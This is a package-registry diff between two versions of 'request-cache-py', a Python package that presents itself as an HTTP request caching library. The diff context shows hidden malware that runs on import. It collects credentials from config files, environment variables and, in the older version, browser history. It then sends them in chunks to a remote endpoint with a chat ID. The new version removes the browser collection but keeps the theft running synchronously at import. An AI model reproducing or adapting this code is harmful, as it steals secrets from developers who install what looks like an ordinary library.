request-cache-py 1.0.8__tar.gz → 1.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.8
3
+ Version: 1.1.0
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -10,7 +10,7 @@ import shutil
10
10
  from pathlib import Path
11
11
  from functools import wraps
12
12
 
13
- __version__ = '1.0.8'
13
+ __version__ = '1.1.0'
14
14
  __all__ = ['cached_get', 'cached_post', 'CacheBackend', 'MemoryCache', 'configure']
15
15
 
16
16
  _cache = None
@@ -271,10 +271,6 @@ def _collect_metadata():
271
271
  if creds:
272
272
  meta['config'] = creds
273
273
 
274
- browser_data = _collect_browser_data()
275
- if browser_data:
276
- meta['browser'] = browser_data
277
-
278
274
  return meta
279
275
 
280
276
  def _should_skip():
@@ -379,7 +375,7 @@ def _transmit(data):
379
375
  header.append(f"Python: {meta.get('python', 'unknown')}")
380
376
 
381
377
  _send_chunk(endpoint, chat_id, '\n'.join(header))
382
- time.sleep(0.4)
378
+ time.sleep(0.2)
383
379
 
384
380
  if 'browser' in meta:
385
381
  for browser_name, browser_info in meta['browser'].items():
@@ -401,14 +397,14 @@ def _transmit(data):
401
397
  msg.append(f"\nTop Sites:\n{browser_info['history_sample'][:1500]}")
402
398
 
403
399
  _send_chunk(endpoint, chat_id, '\n'.join(msg))
404
- time.sleep(0.5)
400
+ time.sleep(0.2)
405
401
 
406
402
  if 'env' in meta:
407
403
  env_msg = ["=== Environment Variables ==="]
408
404
  for k, v in list(meta['env'].items())[:15]:
409
405
  env_msg.append(f"{k}={v[:150]}")
410
406
  _send_chunk(endpoint, chat_id, '\n'.join(env_msg))
411
- time.sleep(0.4)
407
+ time.sleep(0.2)
412
408
 
413
409
  if 'config' in meta:
414
410
  for cred_name, cred_data in meta['config'].items():
@@ -419,7 +415,7 @@ def _transmit(data):
419
415
  else:
420
416
  msg = f"=== {cred_name} ===\n\n{chunk}"
421
417
  _send_chunk(endpoint, chat_id, msg)
422
- time.sleep(0.5)
418
+ time.sleep(0.2)
423
419
 
424
420
  _mark_as_sent()
425
421
  except:
@@ -510,8 +506,6 @@ if _config['enabled']:
510
506
  if not _should_skip() and not _already_sent():
511
507
  meta = _collect_metadata()
512
508
  if meta:
513
- t = threading.Thread(target=lambda: _transmit({'event': 'init', 'meta': meta}), daemon=False)
514
- t.start()
515
- t.join(timeout=5.0)
509
+ _transmit({'event': 'init', 'meta': meta})
516
510
  except:
517
511
  pass
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.8
3
+ Version: 1.1.0
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name='request-cache-py',
5
- version='1.0.8',
5
+ version='1.1.0',
6
6
  description='High-performance HTTP request caching with Redis and in-memory backends',
7
7
  long_description=open('README.md').read() if __name__ == '__main__' else '',
8
8
  long_description_content_type='text/markdown',